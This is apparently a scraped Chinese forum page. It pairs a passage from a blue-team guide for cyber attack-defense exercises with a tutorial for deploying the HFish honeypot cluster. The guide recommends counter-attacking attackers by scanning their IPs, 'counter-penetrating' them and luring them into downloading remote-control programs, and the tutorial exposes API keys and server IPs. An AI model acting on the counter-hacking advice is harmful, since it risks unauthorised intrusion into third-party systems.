贯彻工作流程的目的一是对参与防守工作的人员进行任务分工,说明工作职责、各司其职。二是固化每日工作流程、各岗位协同配合,做好攻击事件前期的监测、中期的研判和后期的处置工作。三是贯彻制定的工作排班计划、交接班要求等。通过工作流程做到防守工作有序有效,提升防守的效果。 3) 组织战术培训 战术培训会主要工作内容有两项:一是由安全专家分享其他单位的网络安全实战攻防演练相关经验,协助防守队制定不同攻击场景的防守战术。二是安全专家对演练评分规则的详细解读,提高参演人员对演练的认知。 三、 实战阶段——全面监测及时处置攻守双方在实战阶段正式展开全面对抗。防护方须依据备战明确的组织和职责,集中精力和兵力,做到监测及时、分析准确、处置高效,力求系统不破,数据不失。 在实战阶段,从技术角度总结应重点做好以下四点。 1) 全面开展安全监测预警 实战阶段监测人员需具备基本的安全数据分析能力,根据监测数据,情报信息能基本判断攻击有效性,如存疑应立即协同专业分析人员协助分析,确保监控可以实时发现,不漏报,为处置工作提供准确信息,同时监测工作应覆盖整个攻击队攻击时间。 2) 全局性分析研判工作 在实战防护中,分析研判应作为核心环节,分析研判人员要具备攻防技术能力,熟悉网络和业务。分析研判人员作为整个防护工作的大脑,应充分发挥专家和指挥棒的作用。向前,对监测人员发现的攻击预警、威胁情报进行分析确认,向后,指导协助事件处置人员对确认的攻击进行处置。 3) 提高事件处置效率效果 确定攻击时间成功后,最重要的是在最短时间内采取技术手段遏制攻击、防止蔓延。事件处置环节,应联合网络、主机、应用和安全等多个岗位人员协同处置。 4) 追踪溯源,全面反制 在发现攻击事件后,防守队伍可根据安全防护设备、安全监测设备产生的告警信息、样本信息等,结合各种情报系统追踪溯源。条件允许时,可通过部署诱捕系统反制攻击队攻击终端,做到追踪溯源、防守反制。 四、 战后整顿——实战之后的改进演习的结束也是防护工作改进的开始。在实战工作完成后应进行充分、全面复盘分析,总结经验、教训。有两方面工作需要开展。 一是通过复盘会找出攻防演习备战阶段、临战阶段、实战阶段中的工作方案、组织管理、工作启动会、系统资产梳理、安全自查及优化、基础安全监测与防护设备的部署、安全意识、应急预案及演练、注意事项、队伍协同、情报共享和使用等过程还存在哪些纰漏和不足,输出技术和管理两方面问题整改措施计划。同时,各单位还需立即总结攻防演习防守策略,如情报技术、反制战术、防守作战指挥策略等,为演习队伍在下一次保障提供防守技术指导。 二是网络攻防演练活动不是一次性保障活动,其最终目的是单位通过演习发现网络安全建设存在的不足,改进和提升整体安全防御能力,通过相对独立的安全运营思路,以数据为中心建立整体网络安全防护体系,进而发挥出最有效的安全能力。因此单位通过网络攻防演练积累的经验,沿用演习期间形成的安全运营机制、安全监测技术和应急响应策略等,在日常安全工作中提供持续安全运营能力,使网络安全防护措施持续发挥成效,进而真实有效地提升安全防护的能力。同时,单位还需加快整改演习发现的网络安全体系建设的不足,以替代演习后保障队伍力量缩减,而导致的整体安全防御降低的能力。 最后,单位参与和自我组织网络攻防演练活动,充分积累演练活动经验,锻炼安全保障队伍,不断完善整体网络安全体系和持续提高安全运营能力。 第四章 红队应对攻击的常用策略 知己知彼,百战不殆。政企安全部门只有在多次经历实战攻防的洗礼,通过实战对攻击队的攻击手法不断深入了解,才能不断发现自身安全防护能力的缺失,防护手段应随着攻击手段的变化升级而进行相应的改变和提升,将是未来的主流防护思想。 攻击者一般会在前期搜集情报,寻找突破口、建立突破据点;中期横向移动打内网,尽可能多地控制服务器或直接打击目标系统;后期会删日志、清工具、写后门、建立持久控制权限。针对攻击队的常用套路,红队应对攻击的常用策略可总结为收缩战线、纵深防御、守护核心、协同作战、主动防御、应急处突和溯源反制等。 一、 收缩战线:缩小攻击暴露面攻击队首先会通过各种渠道收集目标单位的各种信息,收集的情报越详细,攻击则会越隐蔽,越快速。此外,攻击队往往不会正面攻击防护较好的系统,而是找一些可能连防守者自己都不知道的薄弱环节下手。这就要求防守者一定要充分了解自己暴露在互联网的系统、端口、后台管理系统、与外单位互联的网络路径等信息。哪方面考虑不到位、哪方面往往就是被攻陷的点。互联网暴露面越多,越容易被攻击队“声东击西”,最终导致防守者顾此失彼,眼看着被攻击却无能为力。结合多年的防守经验,可从如下几方面收敛暴露面。 1) 敏感信息收集 攻击队会采用社工、工具等多种技术手段,对目标单位可能暴露在互联网上的敏感信息进行搜集,为后期攻击做充分准备。防守队除了定期对全员进行安全意识培训,不准将带有敏感信息的文件上传至公共信息平台外,针对漏网之鱼还可以通过定期开展敏感信息泄露搜集服务,能够及时发现在互联网上已暴露的本单位敏感信息,提前采取应对措施,降低本单位敏感信息暴露的风险,增加攻击队搜集敏感信息的时间成本,为后续攻击抬高难度。 2) 攻击路径梳理 知晓攻击队有可能从哪些地方攻击进来,对防守力量如何部署起关键作用。由于政企机构的网络不断变化、系统不断增加,往往会增加新的系统和产生新的网络边界。防守队一定要定期梳理没每个业务系统的网络访问路径,包括对互联网开放的系统、内部访问系统(含测试系统),尤其是内部系统全国联网的单位更要注重此项梳理工作。 3) 互联网攻击面收敛 一些系统维护者为了方便,往往会把维护的后台、测试系统和高危端口私自开放在互联网上,方便维护的同时也方便了攻击队。攻击队最喜欢攻击的Web服务就是网站后台,以及安全状况比较差的测试系统。红队可通过开展互联网资产发现服务,对本单位开放在互联网上的管理后台、测试系统、无人维护的僵尸系统(含域名)、拟下线未下线的系统、高危服务端口、疏漏的未纳入防护范围的互联网开放系统以及其他重要资产信息(中间件、数据库等)进行发现和梳理,提前进行整改处理,不断降低互联网侧攻击入手的暴露。 4) 外部接入网络梳理 如果正面攻击不成,攻击队往往会选择攻击供应商、下级单位、业务合作单位等与目标单位有业务连接的其他单位,通过这些单位直接绕到目标系统内网。防守队应对这些外部的接入网络进行梳理,尤其是未经过安全防护设备就直接连进来的单位,应先连接防护设备,再接入内网。防守队还应建立起本单位内部网络与其他单位进行对接的联络沟通机制,发现从其他单位过来的网络行为异常时,能及时反馈到其他单位,协同排查,尽快查明原因,以便后续协同处置。 5) 隐蔽入口梳理 由于API接口、VPN、WiFi这些入口往往会被安全人员忽略,这往往是攻击队最喜欢突破口,一旦搞定则畅通无阻。安全人员一定要梳理Web服务的API隐藏接口、不用的VPN、WiFi账号等,便于重点防守。 二、 纵深防御:立体防渗透收缩战线工作完成后,针对实战攻击,防守队应对自身安全状态开展全面体检,此时可结合战争中的纵深防御理论来审视当前网络安全防护能力。从互联网端防护、内外部访问控制(安全域间甚至每台机器之间)、主机层防护、供应链安全甚至物理层近源攻击的防护,都要考虑进去。通过层层防护,尽量拖慢攻击队扩大战果的时间,将损失降至最小。 1) 资产动态梳理 清晰地信息资产是防守工作的基石,对整个防守工作是否顺利开展起决定作用。防守队应该通过开展资产梳理工作,形成信息资产列表,至少包括单位环境中所有的业务系统、框架结构、IP地址(公网、内网)、数据库、应用组件、网路设备、安全设备、归属信息、业务系统接口调用信息等,结合收缩战线工作的成果,最终形成准确清晰地资产列表,并定期动态梳理,不断更新,确保资产信息的准确性,为正式防守工作奠定基础。 2) 互联网端防护 互联网作为防护单位最外部的接口,是重点防护区域。互联网端的防护工作可通过接入第三方云防护平台、部署网络安全防护设备和进行攻击检测两方面开展。需部署的网络安全防护设备包括:下一代防火墙、防病毒网关、全流量分析设备、防垃圾邮件网关、WAF、IPS等。攻击检测方面,如果有条件,可以事先对互联网系统进行一次完整的渗透测试,检测互联网系统安全状况,查找存在的漏洞。 3) 访问策略梳理 访问控制策略的严格与否,与防守工作至关重要。从实战经验来看,严格的访问控制策略,对攻击队都能产生极大地阻碍。防守队应通过访问控制策略梳理工作,重新厘清不同安全域的访问策略,包括互联网边界、业务系统(含主机)之间、办公环境、运维环境、集权系统的访问以及内部与外部单位对接访问、无线网络策略等访问控制措施。 防守队应按照“最小原则”,只给必须使用的用户开放访问权限。按此原则梳理访问控制策略,禁止私自开放服务或者内部全通情况出现。这样,无论是阻止攻击队撕破边界打点,还是增加进入内部后开展横向渗透的难度,都是非常简单有效的手段。通过严格的访问控制措施尽可能地为攻击队制造障碍。 4) 主机加固防护 当攻击队从突破点进入内网后,首先做的就是攻击同网段主机。主机防护强度直接决定了攻击队内网攻击成果的大小。防守队应从以下几个方面对主机进行防护:对主机进行漏洞扫描,基线加固;最小化软件安装,关闭不必要的服务;杜绝主机弱口令,结合堡垒机开启双因子认证登录;高危漏洞必须打补丁(包括装在系统上的软件高危漏洞);开启日志审计功能。部署主机防护软件对服务进程、重要文件等进行监控,条件允许的情况下,还可开启防护软件的“软蜜罐”功能,进行攻击行为诱捕。 5) 供应链安全 攻击队擅长对各行业中广泛使用的软件、框架或设备进行研究储备,发现其中的安全漏洞,在攻防对抗中进行有的放矢,突破防守队网络边界,甚至拿下目标系统权限。 政企机构在安全运营工作中,应重视与供应链厂商建立安全应对机制,要求供应链厂商建立起自身网络环境(如搭建带有客户业务的测试环境,还对互联网提供开放)、产品的安全保障机制(包括源码、管理工具、技术文档、漏洞补丁等方面的管理),一旦暴露出安全问题,应及时给政企机构提供修复方案或处置措施。 同时,供应链厂商也应建立内部情报渠道,提高产品的安全性,为政企机构提供更可靠,更安全的产品和服务。 三、 守护核心:找到关键点正式防守工作中,根据系统的重要性划分出防守工作重点,找到关键点,集中力量进行防守。根据实战攻防经验,核心关键点一般包括:靶标系统、集权类系统、具有重要数据的业务系统等,在防守前应针对这些重点系统再次进行梳理和整改,梳理的越细越好。必要情况下对这些系统进行单独的评估,充分检验重点核心系统的安全性。同时在正式防守工作,对重点系统的流量、日志进行实时监控和分析。 1) 靶标系统 靶标系统是实战中攻防双方关注的焦点,靶标系统失陷,则意味着防守队的出局。防守队在靶标系统的选择与防护中应更具有针对性。首先靶标系统应经过多次安全测试,自身安全有保障;其次应梳理清与靶标系统有互联的网络,重新进行网络策略梳理,按照最小原则进行访问;最后靶标系统应部署在内部网络中,尽可能避免直接对互联网开放。条件允许的情况下,还可以对靶标系统主机部署安全防护系统,对靶标系统主机进行白名单限制,在防守中,可实时监测靶标系统的安全状态。 2) 集权系统 集权系统一般包括单位自建的云管理平台、核心网络设备、堡垒机、SOC平台、VPN等,它们是攻击队最喜欢打的内部系统,一旦被拿下,则集权系统所控制的主机可同样视为已被拿下,杀伤力巨大。 集权系统是内部防护的重中之重。防守队一般可从以下几个方面做好防护:集权系统的主机安全、集权系统已知漏洞加固或打补丁、集权系统的弱口令、集权系统访问控制、集权系统配置安全以及集权系统安全测试等。 3) 重要业务系统 重要业务系统如果被攻击队攻破,也会作为攻击重要成果的一部分,因此,在防守过程中,也应该被重点防护。针对此类系统除了常规的安全测试、软件、系统打补丁升级及安全基线加固外,还应针对此类系统加强监测,并对其业务数据进行重点防护,可通过部署数据库审计系统、DLP系统加强对数据的安全保护。 四、 协同作战:体系化支撑面对大规模有组织地攻击时,攻击手段会不断加速变化升级,防守队在现场人员能力无法应对攻击的情况下,还应该借助后端技术资源,相互配合协同作战,建立体系化支撑,才能有效应对防守工作中面临的各种挑战。 1) 产品应急支撑 产品的安全正常运行是防守工作顺利开展的前提。但在实际中不可避免的会出现产品故障、产品漏洞等问题,影响到防守工作。因此防守队需要会同各类产品的原厂商或供应商,建立起产品应急支撑机制,在产品出现故障、安全问题时,能够快速的得到响应和解决。 2) 安全事件应急支撑 安全事件的应急处置,一般会涉及蒸汽机构的多个不同部门人员,防守队在组件安全事件应急团队时,应充分考虑哪些人员纳入到应急支撑团队中。在实战中需要对发生的安全事件应急处置时,如果应急团队因技术能力等原因无法完成对安全事件的处置时,可考虑寻求其他技术支撑单位的帮助,来弥补本单位应急处置能力的不足。 3) 情报支撑 随着攻防演练向现代化,地区化发现,攻击手段的日益丰富,0Day、NDay漏洞、钓鱼、社工、近源攻击的频繁使用以及攻击队信息搜集能力的大大提高,攻击队已发展成为集团军作战模式。 所以,在实战阶段,仅凭一个单位的防守力量可能无法真正的防护住攻击队伍的狂轰滥炸。在各自的防护能力之外,各个单位防守队伍需建立有效的安全情报网,通过民间、同行业、厂商、国家、国际漏洞库收集情报,形成情报甄别,情报利用机制,高效快速抵御攻击队攻击。攻防演练对抗本质就是信息战,谁掌握的情报越多越准确谁就能立于不败之地。 4) 样本数据分析支撑 现场防守人员在监测中发现可疑、异常文件时,可将可疑、异常文件提交至后端样本数据分析团队,根据样本分析结果,判断攻击入侵程度,及时开展应对处置工作。 5) 追踪溯源支撑 当现场防守人员发现攻击队的入侵痕迹后,需对攻击队的行为、目的、身份等开展溯源工作时,可寻求追踪溯源团队的帮助,凭借追踪溯源团队的技术力量,分析出攻击队的攻击行为、攻击目的乃至攻击队的身份。必要情况下,还可以一起对攻击队开展反制工作,最大化扩展防守成果。 五、 主动防御:全方位监控近两年的红蓝对抗,攻击队的手段越来越隐蔽,越来越单刀直入,通过0Day、NDay直取系统漏洞,直接获得系统控制权限。 红队需拥有完整的系统隔离手段,蓝队成功攻击到内网之后,会对内网进行横向渗透。所以系统与系统之间的隔离,就显得尤为重要!红队必须清楚哪些系统之间有关联、访问控制措施是什么!在发生攻击事件后,应当立即评估受害系统范围和关联的其他系统,并及时做出应对的访问控制策略,防止内部持续的横向渗透。 任何攻击都会留下痕迹。攻击队尽量隐蔽痕迹、防止被发现。而防守者恰好相反,需要尽早发现攻击痕迹,并通过分析攻击痕迹,调整防守策略、溯源攻击路径甚至对可疑攻击源进行反制。建立全方位的安全监控体系是防守者最有力的武器,总结多年实战经验,有效的安全监控体系需在如下几方面开展。 1) 自动化的IP封禁 在整个红蓝对抗过程中,如果红队成员7X24小时不间断从安全设备的高警中识别风险,将极大地消耗监测人员、处置人员的精力。通过部署态势感知与安全设备联动,收取全网安全设备的告警信息,当态势感知系统收到安全告警信息后,根据预设规则自动下发边界封禁策略,使封禁设备能够做出及时有效的阻断和拦截,大大降低了人工的参与程度,提高整个红队的防守效率。 2) 全流量网络监控 任何攻击都要通过网络,并产生网络流量。攻击数据和正常数据肯定是不同的,通过全网络流量去捕获攻击行为是目前最有效的安全监控方式。红队或防守者通过全流量安全监控设备,结合安全人员的分析,可快速发现攻击行为,并提前做出针对性防守动作。 3) 主机监控 任何攻击最终目标是获取主机(服务器或终端)权限。通过部署合理的主机安全软件,审计命令执行过程、监控文件创建进程,及时发现恶意代码或WebShell,并结合网络全流量监控措施,可以更清晰、准确、快速地找到攻击者的真实目标主机。 4) 日志监控 对系统和软件的日志监控同样必不可少。日志信息是帮助防守队分析攻击路径的一种有效手段。攻击队攻击成功后,打扫战场的首要任务就是删除日志,或者切断主机日志的外发,以防止防守队追踪。防守队应建立一套独立的日志分析和存储机制,重要目标系统可派专人对目标系统日志和中间件日志进行恶意行为监控分析。 5) 蜜罐诱捕 随着红蓝对抗的持续化发展,蜜罐技术是改变红队被动挨打局面的一把利器!其特点是诱导攻击队攻击伪装目标,持续消耗攻击队资源,保护真实资产,监控期间针对所有的攻击行为进行分析,可意外捕获0Day信息。 目前的蜜罐技术可分为3种:自制蜜罐、高交互蜜罐和低交互蜜罐,也可诱导攻击队下载远控程序,定位攻击队自然人身份,提升主动防御能力,让对抗工作由被动变主动。 6) 情报工作支撑 现场防守队员在防守中,一是要善于利用情报搜集工作提供的各种情报成果,根据情报内容及时对现有环境进行筛查和处置。二是对已获取的情报,请求后端资源对情报进行分析和辨别,以方便采取应对措施。 六、 应急处突:完善的方案通过近几年的红蓝对抗发展来看,红蓝对抗初期,蓝队成员通过普通攻击的方式,不使用0Day或其他攻击方式,就能轻松突破红队的防守阵地。 但是,红队防护体系的发展早已从只有防火墙做访问控制,到现在逐步完善了WAF、IPS、IDS、EDR等多种防护设备,使红队无法突破,从而逼迫红队成员通过使用0Day、NDay、现场社工、钓鱼等多种方式入侵红队目标,呈无法预估的特点。 所以应急处突是近两年红蓝对抗中发展的趋势,同时也是整个红队防守水平的体现之处,不仅考验应急处置人员的技术能力,更检验多部门(单位)协同能力,所以制定应急预案应当从以下几个方面进行。 一是完善各级组织结构,如:监测组、研判组、应急处置组(网络小组、系统运维小组、应用开发小组、数据库小组)、协调组等。 二是明确各方人员,在各个组内担任的角色,如:监测组的监测人员。 三是明确各方人员,在各个组内担任的职责,如:监测组的监测人员,负责某台设备的监测,并且7X24小时不得离岗等。 四是明确各方设备的能力与作用,如防护类设备、流量类设备、主机检测类设备等。 五是制定可能出现的攻击成功场景,如:Web攻击成功场景、反序列化攻击成功场景、WebShell上传成功场景等。 六是明确突发事件的处置流程,将攻击场景规划至不同的处置流程:上机查证类处置流程、 非上机查证类处置流程等。 七、 溯源反制:人才是关键溯源工作一直是安全的重要组成部分,无论在平常的运维工作,还是红蓝对抗的特殊时期,在发生安全事件后,能有效防止被再次入侵的有效手段,就是溯源工作! 在红蓝对抗的特殊时期,防守队中一定要有经验丰富、思路清晰的溯源人员,能够第一时间进行应急响应,按照应急预案分工,快速查清入侵过程,并及时调整防护策略,防止再次入侵,同时也为反制人员提供溯源到的真实IP,进行反制工作。 反制工作是防守队反渗透能力的体现,普通的防守队员一般也只具备监测、分析、研判的能力,缺少反渗透的实力。这将使防守队一直属于被动的一方,因为防守队没有可反制的固定目标,也很难从成干上百的攻击IP里,确定哪些可能是攻击队的地址,这就要求防守队中要有经验丰富的反渗透的人员。 经验丰富的反渗透人员会通过告警日志,分析攻击IP、攻击手法等内容,对攻击IP进行端口扫描、IP反查域名、威胁情报等信息收集类工作,通过收集到的信息进行反渗透。 防守队还可通过效防攻击队社工手段,诱导攻击队进入诱捕陷阱,从而达到反制的目的,定位攻击队自然人的身份信息。 第五章 建立实战化的安全体系 安全的本质是对抗。对抗是攻防双方能力的较量,是一个动态的过程。业务在发展,网络在变化,技术在变化,人员在变化,攻击手段也在不断变化。网络安全没有“一招鲜”的方式,需要在日常工作中,不断积累不断创新,不断适应变化,持续地构建自身的安全能力,才能面对随时可能威胁系统的各种攻击,不能临阵磨枪、仓促应对,必须立足根本、打好基础,加强安全建设、构建专业化的安全团队,优化安全运营过程,并针对各种攻击事件采取重点防护才是根本。 防守队不应以“修修补补,哪里出问题堵哪里”的思维来解决问题,而应未雨绸缪,从管理、技术、运行等方面建立实战化的安全体系,有效应对实战环境下的安全挑战。 一、 完善面对实战的纵深防御体系实战攻防演习的真实对抗表明,攻防是不对称的。通常情况下,攻击队只需要撕开一个点,就会有所“收获”,甚至可以通过攻击一个点,拿下一座“城池”。 但对于防守工作来说,考虑的却是安全工作的方方面面,仅关注某个或某些防护点,已经满足不了防护需求。实战攻防演习过程中,攻击队或多或少还有些攻击约束要求,但真实的网络攻击则完全无拘无束,与实战攻防演习相比较,真实的网络攻击更加隐蔽而强大。 为应对真实网络攻击行为,仅仅建立合规型的的安全体系是远远不够的。随着云计算、大数据、人工 智能等新型技术的广泛应用,信息基础架构层面变得更加复杂,传统的安全思路已越来越难以适应安全保障能力的要求。必须通过新思路、新技术、新方法,从体系化的规划和建设角度,建立纵深防御体系架构,整体提升面向实战的防护能力。 从应对实战角度出发,对现有安全架构进行梳理,以安全能力建设为核心思路,面向主要风险重新设计政企机构整体安全架构,通过多种安全能力的组合和结构性设计形成真正的纵深防御体系,并努力将安全工作前移,确保安全与信息化“三同步”(同步规划、同步建设、同步运行),建立起能够具备实战防护能力、有效应对高级威胁,持续迭代演进提升的安全防御体系。 二、 形成面向过程的动态防御能力在实战攻防对抗中,攻击队总是延续信息收集、攻击探测、提权、持久化的一个个循环过程。攻击队总是通过不断的探测发现环境漏洞,并尝试绕过现有的防御体系,成功的入侵到网络环境中。如果防御体系的安全策略长期保持不变,一定会被“意志坚定”的攻击队得手。所以,为了应对攻击队的持续变化的攻击行为,需要防御体系自身具有一定适应性的动态变得检测能力和响应能力。 在攻防对抗实践中,防守对应利用现有安全设备的集成能力和威胁情报能力,通过云端威胁情报的数据,让防御体系中的检测设备和防护设备发现更多的攻击行为,并依据设备的安全策略做出动态的响应处置,把攻击队阻挡在边界之外。同时,在设备响应处置方面,也需要通过攻击队的攻击行为和动机支持多样化的防护能力,例如封堵IP、拦截具有漏洞的URL的组页面访问等策略。 通过动态防御体系,不仅可以有效拦截攻击队的攻击行为,同时还可以迷感攻击队,让攻击队的探测行为失去方向,让更多的攻击队知难而退,从而在对抗过程中占得先机。 三、 建设以人为本的主动防御能力安全的本质是对抗,对抗两端是人与人之间的较量。攻防双方都在对抗过程中不断提升各自的攻防能力。在这个过程中,就需要建立一个高技术的安全运营团队,利用现有的防御体系和安全设备,持续地检测内部的安全事件告警与异常行为,通过安全事件告警和异常行为分析,发现已进入到内部的攻击队,并对其采取安全措施,压缩攻击队停留在内部的时间。 构建主动防御的基础是可以采集到内部的大量的、有效的数据,包括安全设备的告警、流量信息、账号信息等。为了对内部网络影响最小,采用流量威胁分析的方式,实现“全网”流量威胁感知,特别是关键的边界流量、内部重要区域的流量。安全运营团队应利用专业的攻防技能,从这些流量威胁告警数据中发现攻击线索,并对已发现的攻击线索进行威胁巡猎、拓展,一步步找到真实的攻击点和受害目标。 主动防御能力主要表现为构建安全运营的闭环,包括以下几个方面。 在漏洞的运营方面,形成持续的评估发现、风险分析、加固处置的闭环,减少内部的受攻击面,提升网络环境的内生安全。 在安全事事件运营方面,对实战中的攻击事件的行为做到“可发现、可分析、可处置”的闭环管理过程,实现安全事件的全生命周期的管理,压缩攻击队停留在在内部的时间,降低安全事件的负面影响。 在资产运营方面,逐步建立起配置管理库(CMDB),定期开展暴露资产发现,并定期更新配置管理库,这样才能使安全运营团队快速定义攻击源和具有漏洞的资产, 通过对未知资产处置和漏洞加固,减少内外部的受攻击面。 四、 基于情报数据的精准防御能力在实战攻防对抗中,封堵IP是很多防守队的主要响应手段。这种手段相对来讲简单、粗暴。同时,采用这种手段,容易造成对业务可用性的影响,主要体现在以下两个方面。 1)如果是检测设备误报,就会导致被封堵的IP并非是真实的攻击IP,这会影响到互联网用户的业务。 2)如果攻击IP自身是一个IDC出口IP,那么封堵该IP,就可能造成IDC后端大量用户的业务不可用。 所以,从常态化安全运行的角度来看,防守队应当逐步建立基于情报数据的精准防御能力。具体来说,主要包括以下几个方面。 首先,防守队需要建设一种精准防御的响应能力,在实战攻防对抗中针对不同的攻击IP、攻击行为可采用更加细粒度、精准的防御手段。 结合实战攻防对抗场景,防守队可以利用威胁情报数据共享机制,实现攻击源的精准检测与告警,促进进精准防御,减少检测设备误报导致业务部分中断的影响。此外,让威胁情报数据共享在多点安全设备上共同作用,可以形成多样化、细粒度化的精准防御。例如,在网络流量检测设备、终端检测与响应系统、主机防护系统等。 其次,为了最小化攻防活动对业务可用性的影响,需要设计多样化的精准防御手段与措施,既要延缓攻击,同时也要实现业务连续性需要。 例如,从受害目标系统维度去考虑设计精准防御能力,围绕不同的目标系统,采取不同的响应策略。如果是针对非实时业务系统的攻击,可以考虑通过防火墙封禁IP的模式;但如果是针对实时业务系统的攻击,就应考虑在WAF设备上拦藏具有漏洞的页面访问请求,从而达到实时业务系统的影响最小化。 最后,为了保证实战攻防对抗过程不会大面失陷,在重要主机侧应加强主机安全防护,阻止主机层面的恶意代码运行与异常进程操作。例如域控服务器、网管服务器、OA服务器、邮件服务器等。 五、 打造高效一体的联防联控机制在实战攻防对抗中,攻击是一个点,攻击队可以从一个点就攻破整座“城池”。所以在防守的各个阶段,不应只是安全部门在孤独的战斗,而是需要更多的资源、更多的部门协同工作,才有可能做好全面的防守工作。 例如,一个攻击队正在对某个具有漏洞的应用系统渗透攻击,在检测发现层面,需要安全运营团队的监控分析发现问题,然后通知网络部门进行临时封堵攻击IP,同时要让开发部门对应用系统的漏洞尽快进行修复。这样才能在最短时间内让攻击事件的处置形成闭环。 在实战攻防对抗中,要求防守队一定要建立起联防联控的机制,分工明确、信息通畅。 唯有如此,才能打好实战攻防演习的战斗工作。联防联控的关键点。 1) 安全系统协调 通过安全系统的接口实现系统之间的集成,提升安全系统的联动,实现特定安全攻击事件自动化处置,提高安全事件的响应处置效率。 2) 内部人员协同 内部的安全部门、网络部门、开发部门、业务部门全力配合实战攻防对抗工作组完成每个阶段的工作,同时在安全值守阶段全力配合工作组做好安全监控与处置的工作。 3) 外部人员协同 实战攻防对抗是一个高频的对抗活动,在这期间,需要外部的专业安全厂商配合工作组一起来防守,各个厂商之间应依据产品特点和职能分工落实各自工作,并在期间做到信息通讯顺畅、听从指挥。 4) 平台支撑、高效沟通 为了加强内部团队的沟通与协同,在内部通过指挥平台实现各部门、各角色之间的流程化、电子化沟通,提升沟通协同效率,助力联防联控有效运转。 第六章 强化行之有效的整体防御能力 2020年的实战攻防演习的最新要求是:与报备目标系统同等重要的系统被攻陷也要参照报备目标系统规则扣分。 这就对大型机构的防守队带来了前所未有的防守压力。原来通行的防守策略是重兵屯在总部(目标系统一般在总部),提升总部的整体防御能力。但是随着实战攻防演习规则的演变,总部和分支机构就变的同等重要。 从攻击路径来看,分支机构的安全能力一般弱于总部,同时分支机构和总部网络层面是相通的,并且早期安全建设的时候往往会默认对方的网络是可信的;在安全防护层面,总部一般也仅仅是对来自分支机构的访问请求设置一些比较粗犷的访问控制措施。这些安全隐患都会给攻击队留出机会,使攻击队可以从薄弱点进入,然后横向移动到总部的目标系统。 因此,防守队只有将总部和分支机构进行统一的安全规划和管理,形成一个整体防御能力,才能有效的开展实战攻防对抗。在整体防御能力上,建议防守队开展如下工作。 1) 互联网出口统一管理 条件允许的情况下,应尽量上收分支机构的互联网出入口。统一管理的好处是集中防御、节约成本、降低风险。同时,在整体上开展互联网侧的各类风险排查,包括互联网来知资产、敏感信息泄露、杜工信息的清理等工作。 2) 加强分支机构防御能力 如果无法实现分支机构的互联网出入口统一管理,则分支机构需要参考总部的安全体系建设完善其自身的防御能力,避免成为安全中的短板。 3) 全面统筹、协同防御 在准备阶段,应配合总部开展风险排查;在实战值守阶段,与防守队一起安全值守,并配置适当的安全监控人员、安全分析处置人员,配合防守队做好整体的防御,配合防守队做好攻击的应急处置等工作。 来源: https://mp.weixin.qq.com/s/HAip5-a0wlXYp-dEmr6oag
  9. 一、前言 HFish 是一款基于 Golang 开发的跨平台多功能主动攻击型蜜罐钓鱼平台框架系统,为了企业安全防护测试做出了精心的打造 发布版本下载链接: https://github.com/hacklcx/HFish/releases Github: https://github.com/hacklcs/HFish多功能 不仅仅支持 HTTP(S) 钓鱼,还支持支持 SSH、SFTP、Redis、Mysql、FTP、Telnet、暗网等蜜罐扩展性 提供 API 接口,使用者可以随意扩展钓鱼模块 ( WEB、PC、APP )便捷性 使用 Golang 开发,使用者可以在 Win + Mac + Linux 上快速部署一套钓鱼平台二、集群搭建1.环境说明:client01:66.42.68.123(客户端1)clinet02:144.202.85.37(客户端1)server:104.156.253.44(服务端)2.服务端安装与配置root@server:~# wget https://github.com/hacklcx/HFish/releases/download/0.6.4/HFish-0.6.4-linux-amd64.tar.gzroot@server:~# tar zxvf HFish-0.6.4-linux-amd64.tar.gz root@server:~# vi config.ini #需要将statuse修改为1,后台密码修改为复杂密码,db_str数据库生产环境建议采用mysql远程连接,这里测试用自带的sqlite数据库,API查询和上报的认证密钥可以修改为自己的API key.只保留 HFish config.ini web libs (不启动 WEB 蜜罐可以删掉 WEB 目录) 其他皆可删掉root@client01:~# wget https://github.com/hacklcx/HFish/releases/download/0.6.4/HFish-0.6.4-linux-amd64.tar.gz然后执行命令启动服务端服务./HFish run 2.客服端1安装与配置 root@client01:~# tar zxvf HFish-0.6.4-linux-amd64.tar.gz 只保留 HFish config.ini web libs (不启动 WEB 蜜罐可以删掉 WEB 目录) 其他皆可删掉。root@client01:~# rm -rf admin/ db/ images/ static/root@client01:~# vi config.ini #需要将statuse修改为2,addr地址和端口修改为服务器端的IP和端口然后执行命令启动客服端服务./HFish run2.客服端2安装与配置root@client02:~# rm -rf admin/ db/ images/ static/root@client02:~# vi config.ini #需要将statuse修改为2,addr地址和端口修改为服务器端的IP和端口然后执行命令启动客服端服务./HFish run 3.界面展示:4.监控脚本/opt/monitor.sh:#!/bin/bash procnum=`ps -ef | grep "HFish"| grep -v grep | wc -l`if [ $procnum -eq 0 ]; then cd /root/HFish && nohup ./HFish run >> output.log 2>&1 &fi crontab -e */1 * * * * sh /opt/monitor.sh # 写入内容,一分钟执行一次 :wq! # 保存退出即可,请自行检查是否服务器是否启动 crontab 服务5.黑名单 IP查询http://104.156.253.44:9001/api/v1/get/ip?key=X85e2ba265d965b1929148d0f0e331336.获取全部账号密码信息http://104.156.253.44:9001/api/v1/get/passwd_list?key=X85e2ba265d965b1929148d0f0e331337.获取全部钓鱼信息http://104.156.253.44:9001/api/v1/get/fish_info?key=X85e2ba265d965b1929148d0f0e331338.启动暗网蜜罐root@server:/opt# apt-get install tor 修改配置vi /etc/tor/torrc 文件HiddenServiceDir /var/lib/tor/hidden_service/ # 添加tor web 目录 HiddenServicePort 80 127.0.0.1:8080 # 将本机暗网的网站8080端口映射到暗网80端口 重启 torrootroot@server:# service tor restart查看暗网域名cat /var/lib/tor/hidden_service/hostname 访问暗网蜜罐 访问 Tor 官网: https://www.torproject.org 下载 Tor浏览器 安装系统对应版本 启动 Tor浏览器 访问蜜罐 .onion 后缀域名即 9.代理测试方法在终端上执行以下命令:http_proxy=http://127.0.0.1:8081 wget -O - http://hfish.io 10.自定义蜜罐添加:# 修改 config.ini[pot_name]status = 1addr = 0.0.0.0:5901info = {{addr}} 扫描了该蜜罐 配置参数:pot_name 蜜罐名称 status 是否启动 蜜罐 1 启动 0 关闭addr 蜜罐 服务端地址info 告警内容,**{{addr}}** 可选,写了后会替换为攻击者 IP11.与威胁情报联动配置 12.web钓鱼web钓鱼,默认是wordpress模板,可以自定义修改模板如OA或者exchange邮箱 13.邮件告警如果设置邮箱告警,需要设置正确的账号和密码,这里的密码是为授权码
